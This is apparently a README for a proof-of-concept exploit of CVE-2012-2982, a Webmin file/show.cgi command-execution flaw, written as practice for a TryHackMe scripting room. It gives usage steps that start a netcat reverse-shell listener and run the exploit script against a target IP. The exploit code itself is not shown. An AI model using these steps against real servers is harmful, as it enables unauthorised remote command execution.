CVE-2012-2982 PoC — Webmin ‘file/show.cgi’任意命令执行漏洞

Description

Practice POC scripting in Tryhackme’s intro poc scripting room (For Linux)

介绍

# CVE-2012-2982

## Description
file/show.cgi in Webmin 1.590 and earlier allows remote authenticated users to execute arbitrary commands via an invalid character in a pathname, as demonstrated by a | (pipe) character.

## Installation

1. `git clone https://github.com/CpyRe/CVE-2012-2982.git`
2. `pip3 install -r requirements.txt`

## Usage

1. `nc -nlvp <port>`
2. `python3 exp.py <myip> <vulnip> <port>`
                    OR
   `python3 subprocess-exp.py <myip> <vulnip> <port>`
3.  RCE!!

文件快照

备注